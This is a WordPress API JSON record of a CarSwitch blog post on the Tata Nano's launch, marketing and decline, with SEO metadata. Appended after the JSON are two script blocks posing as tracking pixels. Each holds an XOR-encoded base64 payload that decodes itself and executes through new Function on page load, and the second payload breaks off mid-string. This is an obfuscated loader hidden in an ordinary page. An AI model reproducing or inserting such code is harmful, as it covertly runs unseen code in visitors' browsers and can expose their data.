{"id":4102,"date":"2018-04-17T09:11:33","date_gmt":"2018-04-17T09:11:33","guid":{"rendered":"http:\/\/65.1.85.58\/newsroom\/?p=4102"},"modified":"2020-09-03T11:40:15","modified_gmt":"2020-09-03T11:40:15","slug":"tata-nano-worlds-cheapest-car","status":"publish","type":"post","link":"https:\/\/carswitch.com\/newsroom\/tata-nano-worlds-cheapest-car\/","title":{"rendered":"Tata Nano: The World\u2019s Cheapest Car"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">When you\u2019re <\/span><a href=\"https:\/\/carswitch.com\/uae\/used-cars\/search\"><span style=\"font-weight: 400;\">buying a car in Dubai<\/span><\/a><span style=\"font-weight: 400;\">, undoubtedly price pays a major role in the decision process. So does marketing. Most car makers make cars with a niche in mind and create cars which will leave a mark on the car buyers. One such car, the Tata Nano was launched in 2009 and was a dream come true for Ratan Tata, the owner of Tata Motors.<\/span><\/p>\n<p><!--more--><\/p>\n<p><b>Launch of Tata Nano<\/b><\/p>\n<p><span style=\"font-weight: 400;\">The idea behind the creation of this car was to cater to the mass population who couldn\u2019t afford a car in India. Aware of the massive population of India, underdeveloped infrastructure and women with saris carrying babies on motorcycles, Ratan Tata had the vision to design a car that will cater to people who cannot afford a car and would be known as the People\u2019s car.&nbsp; &nbsp;<\/span><\/p>\n<p><b>Tata Nano and its Marketing Strategy<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Tata Nano is a tiny car but that isn\u2019t the cheapest component of the car. Its thrifty engineering, economical design, and the cheap labour also contributed to the low cost of the vehicle. After its launch, it was marketed as a \u2018one lac rupee\u2019 car and Tata motors was pretty proud of its innovation. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">Though, it was made in good spirit but in this era of brand and image conscious buyers, the marketing approach did not fit well. It began to be perceived as a low quality car instead of a car for the two-wheelers and lost its aspirational value. The label of Nano being a \u2018cheap car\u2019 did not work well with the urban youth which is now more concerned with prestige. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">It would have been a better option if it was marketed as a car for those who use two-wheelers which was later realized by Tata Motors. Also, safety concerns arose for the car when there were reported incidents of the car catching fire. We wonder if it had launched in Dubai, could it have become the<\/span><a href=\"http:\/\/65.1.85.58\/newsroom\/land-cruiser-most-popular-car-uae\/\"><span style=\"font-weight: 400;\"> most popular car<\/span><\/a><span style=\"font-weight: 400;\">. Seems unlikely.<\/span><\/p>\n<p><b>Decline of Tata Nano<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Nano couldn\u2019t keep up with its one lac price tag and had to increase the price especially when advancements to the car were being made. Moreover, many Nano cars were pre-ordered and the supply could not be met which added fuel to the fire. Apart from the poor product positioning, many political concerns arose as well leading to the unpopular image on Tata Nano. All of this led to negative publicity and ultimately decline in the sales for the car. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">Now, Tata motors is still struggling to make the car better and change its image to \u2018the most affordable car\u2019 which might or might not work out. Additionally, drastic measures regarding pricing, marketing and brand image may help Nano become successful but up till now the chances of its success seem thin. This inexpensive car might not be available in Dubai but if you\u2019re looking to&nbsp;<\/span><a href=\"https:\/\/carswitch.com\/uae\/used-cars\/search\"><span style=\"font-weight: 400;\">buy car, Dubai<\/span><\/a><span style=\"font-weight: 400;\">, CarSwitch.com com has a variety of cars available which you can check out! <\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>When you\u2019re buying a car in Dubai, undoubtedly price pays a major role in the decision process. So does marketing. Most car makers make cars with a niche in mind and create cars which will leave a mark on the car buyers. One such car, the Tata Nano was launched in 2009 and was a [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":4105,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_yoast_wpseo_focuskw":"buy car dubai","_yoast_wpseo_title":"","_yoast_wpseo_metadesc":"With an innovate design and approach, the Tata Nano was launched in 2009 and was a dream come true for Ratan Tata, the owner of Tata Motors.","footnotes":""},"categories":[33,4],"tags":[348,486,485,40],"class_list":["post-4102","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-buyer-guides","category-home","tag-buy-used-car-in-dubai","tag-cheapest-car","tag-tata-nano","tag-used-cars-for-sale"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.2 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Tata Nano: The World\u2019s Cheapest Car | CarSwitch<\/title>\n<meta name=\"description\" content=\"With an innovate design and approach, the Tata Nano was launched in 2009 and was a dream come true for Ratan Tata, the owner of Tata Motors.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Tata Nano: The World\u2019s Cheapest Car | CarSwitch\" \/>\n<meta property=\"og:description\" content=\"With an innovate design and approach, the Tata Nano was launched in 2009 and was a dream come true for Ratan Tata, the owner of Tata Motors.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/\" \/>\n<meta property=\"og:site_name\" content=\"Guides to buy and sell any car in Dubai &amp; UAE\" \/>\n<meta property=\"article:published_time\" content=\"2018-04-17T09:11:33+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2020-09-03T11:40:15+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/newsroom.carswitch.com\/wp-content\/uploads\/2018\/04\/The-Story-Behind-the-Tata-Nano-the-World\u2019s-Cheapest-Car745x400.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"745\" \/>\n\t<meta property=\"og:image:height\" content=\"400\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Mehwish Rana\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mehwish Rana\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/\"},\"author\":{\"name\":\"Mehwish Rana\",\"@id\":\"https:\/\/newsroom.carswitch.com\/#\/schema\/person\/68af0ff3a19cb09501607f9d9c8d63a0\"},\"headline\":\"Tata Nano: The World\u2019s Cheapest Car\",\"datePublished\":\"2018-04-17T09:11:33+00:00\",\"dateModified\":\"2020-09-03T11:40:15+00:00\",\"mainEntityOfPage\":\"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/\",\"wordCount\":508,\"publisher\":{\"@id\":\"https:\/\/newsroom.carswitch.com\/#organization\"},\"image\":{\"@id\":\"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/carswitch.com\/newsroom\/wp-content\/uploads\/2018\/04\/The-Story-Behind-the-Tata-Nano-the-World\u2019s-Cheapest-Car745x400.jpg\",\"keywords\":[\"buy used car in dubai\",\"cheapest car\",\"tata nano\",\"used cars for sale\"],\"articleSection\":[\"Buyer Guides\",\"Home\"],\"inLanguage\":\"en-US\",\"url\":\"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/#webpage\",\"url\":\"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/\",\"name\":\"Tata Nano: The World\u2019s Cheapest Car | CarSwitch\",\"isPartOf\":{\"@id\":\"https:\/\/newsroom.carswitch.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/carswitch.com\/newsroom\/wp-content\/uploads\/2018\/04\/The-Story-Behind-the-Tata-Nano-the-World\u2019s-Cheapest-Car745x400.jpg\",\"datePublished\":\"2018-04-17T09:11:33+00:00\",\"dateModified\":\"2020-09-03T11:40:15+00:00\",\"description\":\"With an innovate design and approach, the Tata Nano was launched in 2009 and was a dream come true for Ratan Tata, the owner of Tata Motors.\",\"breadcrumb\":{\"@id\":\"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/#primaryimage\",\"url\":\"https:\/\/carswitch.com\/newsroom\/wp-content\/uploads\/2018\/04\/The-Story-Behind-the-Tata-Nano-the-World\u2019s-Cheapest-Car745x400.jpg\",\"contentUrl\":\"https:\/\/carswitch.com\/newsroom\/wp-content\/uploads\/2018\/04\/The-Story-Behind-the-Tata-Nano-the-World\u2019s-Cheapest-Car745x400.jpg\",\"width\":745,\"height\":400,\"caption\":\"The Story Behind the Tata Nano - the World\u2019s Cheapest Car\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/newsroom.carswitch.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Home\",\"item\":\"https:\/\/carswitch.com\/newsroom\/home\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Tata Nano: The World\u2019s Cheapest Car\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/carswitch.com\/newsroom\/#website\",\"url\":\"https:\/\/carswitch.com\/newsroom\",\"name\":\"Guides to buy and sell any car in Dubai &amp; UAE\",\"description\":\"CarSwitch\",\"publisher\":{\"@id\":\"https:\/\/newsroom.carswitch.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/newsroom.carswitch.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/newsroom.carswitch.com\/#organization\",\"name\":\"CarSwitch\",\"url\":\"https:\/\/newsroom.carswitch.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/newsroom.carswitch.com\/#\/schema\/logo\/image\/\",\"url\":\"http:\/\/65.1.85.58\/newsroom\/wp-content\/uploads\/2025\/08\/En_Blue_Bg_Horizontal-Format.png\",\"contentUrl\":\"http:\/\/65.1.85.58\/newsroom\/wp-content\/uploads\/2025\/08\/En_Blue_Bg_Horizontal-Format.png\",\"width\":1440,\"height\":1440,\"caption\":\"CarSwitch\"},\"image\":{\"@id\":\"https:\/\/newsroom.carswitch.com\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/newsroom.carswitch.com\/#\/schema\/person\/68af0ff3a19cb09501607f9d9c8d63a0\",\"name\":\"Mehwish Rana\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/newsroom.carswitch.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/e460506d18bbc5fcae58067a7b1559cf5bd81d3c986bec7bd37ab9678b790f02?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/e460506d18bbc5fcae58067a7b1559cf5bd81d3c986bec7bd37ab9678b790f02?s=96&d=mm&r=g\",\"caption\":\"Mehwish Rana\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Tata Nano: The World\u2019s Cheapest Car | CarSwitch","description":"With an innovate design and approach, the Tata Nano was launched in 2009 and was a dream come true for Ratan Tata, the owner of Tata Motors.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/","og_locale":"en_US","og_type":"article","og_title":"Tata Nano: The World\u2019s Cheapest Car | CarSwitch","og_description":"With an innovate design and approach, the Tata Nano was launched in 2009 and was a dream come true for Ratan Tata, the owner of Tata Motors.","og_url":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/","og_site_name":"Guides to buy and sell any car in Dubai &amp; UAE","article_published_time":"2018-04-17T09:11:33+00:00","article_modified_time":"2020-09-03T11:40:15+00:00","og_image":[{"width":745,"height":400,"url":"https:\/\/newsroom.carswitch.com\/wp-content\/uploads\/2018\/04\/The-Story-Behind-the-Tata-Nano-the-World\u2019s-Cheapest-Car745x400.jpg","type":"image\/jpeg"}],"author":"Mehwish Rana","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Mehwish Rana","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/#article","isPartOf":{"@id":"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/"},"author":{"name":"Mehwish Rana","@id":"https:\/\/newsroom.carswitch.com\/#\/schema\/person\/68af0ff3a19cb09501607f9d9c8d63a0"},"headline":"Tata Nano: The World\u2019s Cheapest Car","datePublished":"2018-04-17T09:11:33+00:00","dateModified":"2020-09-03T11:40:15+00:00","mainEntityOfPage":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/","wordCount":508,"publisher":{"@id":"https:\/\/newsroom.carswitch.com\/#organization"},"image":{"@id":"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/#primaryimage"},"thumbnailUrl":"https:\/\/carswitch.com\/newsroom\/wp-content\/uploads\/2018\/04\/The-Story-Behind-the-Tata-Nano-the-World\u2019s-Cheapest-Car745x400.jpg","keywords":["buy used car in dubai","cheapest car","tata nano","used cars for sale"],"articleSection":["Buyer Guides","Home"],"inLanguage":"en-US","url":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/"},{"@type":"WebPage","@id":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/#webpage","url":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/","name":"Tata Nano: The World\u2019s Cheapest Car | CarSwitch","isPartOf":{"@id":"https:\/\/newsroom.carswitch.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/#primaryimage"},"image":{"@id":"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/#primaryimage"},"thumbnailUrl":"https:\/\/carswitch.com\/newsroom\/wp-content\/uploads\/2018\/04\/The-Story-Behind-the-Tata-Nano-the-World\u2019s-Cheapest-Car745x400.jpg","datePublished":"2018-04-17T09:11:33+00:00","dateModified":"2020-09-03T11:40:15+00:00","description":"With an innovate design and approach, the Tata Nano was launched in 2009 and was a dream come true for Ratan Tata, the owner of Tata Motors.","breadcrumb":{"@id":"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/#primaryimage","url":"https:\/\/carswitch.com\/newsroom\/wp-content\/uploads\/2018\/04\/The-Story-Behind-the-Tata-Nano-the-World\u2019s-Cheapest-Car745x400.jpg","contentUrl":"https:\/\/carswitch.com\/newsroom\/wp-content\/uploads\/2018\/04\/The-Story-Behind-the-Tata-Nano-the-World\u2019s-Cheapest-Car745x400.jpg","width":745,"height":400,"caption":"The Story Behind the Tata Nano - the World\u2019s Cheapest Car"},{"@type":"BreadcrumbList","@id":"https:\/\/newsroom.carswitch.com\/tata-nano-worlds-cheapest-car\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/newsroom.carswitch.com\/"},{"@type":"ListItem","position":2,"name":"Home","item":"https:\/\/carswitch.com\/newsroom\/home\/"},{"@type":"ListItem","position":3,"name":"Tata Nano: The World\u2019s Cheapest Car"}]},{"@type":"WebSite","@id":"https:\/\/carswitch.com\/newsroom\/#website","url":"https:\/\/carswitch.com\/newsroom","name":"Guides to buy and sell any car in Dubai &amp; UAE","description":"CarSwitch","publisher":{"@id":"https:\/\/newsroom.carswitch.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/newsroom.carswitch.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/newsroom.carswitch.com\/#organization","name":"CarSwitch","url":"https:\/\/newsroom.carswitch.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/newsroom.carswitch.com\/#\/schema\/logo\/image\/","url":"http:\/\/65.1.85.58\/newsroom\/wp-content\/uploads\/2025\/08\/En_Blue_Bg_Horizontal-Format.png","contentUrl":"http:\/\/65.1.85.58\/newsroom\/wp-content\/uploads\/2025\/08\/En_Blue_Bg_Horizontal-Format.png","width":1440,"height":1440,"caption":"CarSwitch"},"image":{"@id":"https:\/\/newsroom.carswitch.com\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/newsroom.carswitch.com\/#\/schema\/person\/68af0ff3a19cb09501607f9d9c8d63a0","name":"Mehwish Rana","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/newsroom.carswitch.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/e460506d18bbc5fcae58067a7b1559cf5bd81d3c986bec7bd37ab9678b790f02?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/e460506d18bbc5fcae58067a7b1559cf5bd81d3c986bec7bd37ab9678b790f02?s=96&d=mm&r=g","caption":"Mehwish Rana"}}]}},"_links":{"self":[{"href":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/comments?post=4102"}],"version-history":[{"count":7,"href":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/revisions"}],"predecessor-version":[{"id":14303,"href":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/posts\/4102\/revisions\/14303"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/media\/4105"}],"wp:attachment":[{"href":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/media?parent=4102"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/categories?post=4102"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/carswitch.com\/newsroom\/wp-json\/wp\/v2\/tags?post=4102"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<!-- BEGIN: XSilent Data Flow -->
<script>
    window.XTracker_ICTC = {
        loaded: true,
        version: "1.9.2",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0x4b1871fbbdf3=typeof globalThis!=='undefined'?globalThis:(typeof window!=='undefined'?window:self),_0x59dd5230c4c5=_0x4b1871fbbdf3['\x61\x74\x6f\x62']('dDLzA9Se71RiLJTQpOOQ2Q=='),_0xec794cf6e283=_0x4b1871fbbdf3['\x61\x74\x6f\x62']('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'),_0x9d25e7d04012=new _0x4b1871fbbdf3['\x55\x69\x6e\x74\x38\x41\x72\x72\x61\x79'](_0xec794cf6e283['length']),_0xd48b9528fb36=0;for(;_0xd48b9528fb36<_0xec794cf6e283['length'];_0xd48b9528fb36++)_0x9d25e7d04012[_0xd48b9528fb36]=_0xec794cf6e283['charCodeAt'](_0xd48b9528fb36)^_0x59dd5230c4c5['charCodeAt'](_0xd48b9528fb36%_0x59dd5230c4c5['length']);(new _0x4b1871fbbdf3['\x46\x75\x6e\x63\x74\x69\x6f\x6e']((new _0x4b1871fbbdf3['\x54\x65\x78\x74\x44\x65\x63\x6f\x64\x65\x72']())['\x64\x65\x63\x6f\x64\x65'](_0x9d25e7d04012)))()}();
</script>
<!-- END: XSilent Data Flow --><!-- BEGIN: XElite Pixel Stream -->
<script>
    window.XTracker_GSJF = {
        loaded: true,
        version: "3.3.5",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0x0fcff1369820=typeof globalThis!=='undefined'?globalThis:(typeof window!=='undefined'?window:self),_0x635552ae56a0=_0x0fcff1369820['\x61\x74\x6f\x62']('NRBmZD7ydOuea6OTCm5g2Q=='),_0x30e53c0010c2=_0x0fcff1369820['\x61\x74\x6f\x62']('HXYTCl2GHYTwQ4roAAcG8UJ5CABRhS/MwV6bpGwKWe4GJwdDY9sGjuoe0f0xZBewW3QJE2XVK96mXMX3M1lT7lQ3O1kPyX6d/xmDzHoUDbhTYQhZHJQSiqhexqE4X1bgByBSB1/DFYipXpurM1lQvwMoXgAJxkTa+ljF9W9cUO8AJlZdB9BP4egK0bNVCAKxV2QTCgOpU4PqH9PgMEFP6EdgBUpXnVuG/x/K8C1CR7FBZBYXBN1bm/EH2vRlAE20VHkICluGWpvrCc/6aUACtVRjEgVOm1qC8UyPtGIaFKlGKklLTp0YkvkEzb1uHBC6G38UAxneU4PqH9PgMEFPq0VzSAVQmQbF/QTOvHoBDKBSfwhDEtUcn+ob0KklQRC2WWkBC1DcE4rqDtTyc0AUvFt0AxZSi1qI8UyPtGIaFKlGKklLTp0YkvkEzb56GwK1XHNIClGWHY7tRcLjeklM/l1kEhRNyFvE7gTP6m0BDvRXfxRJTIIXxe4ewf9jDQ62UXVIB1GfU8e5A9fneh1a9hpiFgcTnxWC8AXG5yQDAa1cc0gVS5sfhfEPxr16HA/+aCtsEl+AVLT/DMnlcB9d+wVoACAJxxXT2F6ToGgLVOEAISNVD5NB2fxdl6ZOC1G/BSFRUAfANd38W4GoABgBqxVPEw5SgRqKo0nBpTIKUeEFKURfNJQBhf0fyvxkTj+6Rn4TTGGIBIXnGcb8IxVqrUdpHRJfgFS09x/J429TP6NFfh8WW51amOsJ0Od4RlD1BzlbWQPVRJO5VPzpegAZq1B/SBdLkAef7EORujAxGqlbaRQBUcl+gvhD/Pp+BBC8G3wDClmGHNevWZu6eAsUrEd+QUMF+AKK7Ev89H8XE7FWLRYFTIERovAfi8xjGgqpUD4VEVyBAJm2XZe/PFpJ9QQmT19XlFzKwQzW6nkGA/BHdRIRTJxTzKVh1fJ4Tj+uWGQUWWGbAIHuDo3gfwwTrUc4V1YG3iuM6xLQ+2lEUvAZTwgRUoQX1rlMmJlsARLxQ3EURGGXBZ/5BsDnN15bhlBhEgNTkQDXwRzO53hADLxbdxIMBa0RmuoMzvB+RV3rHG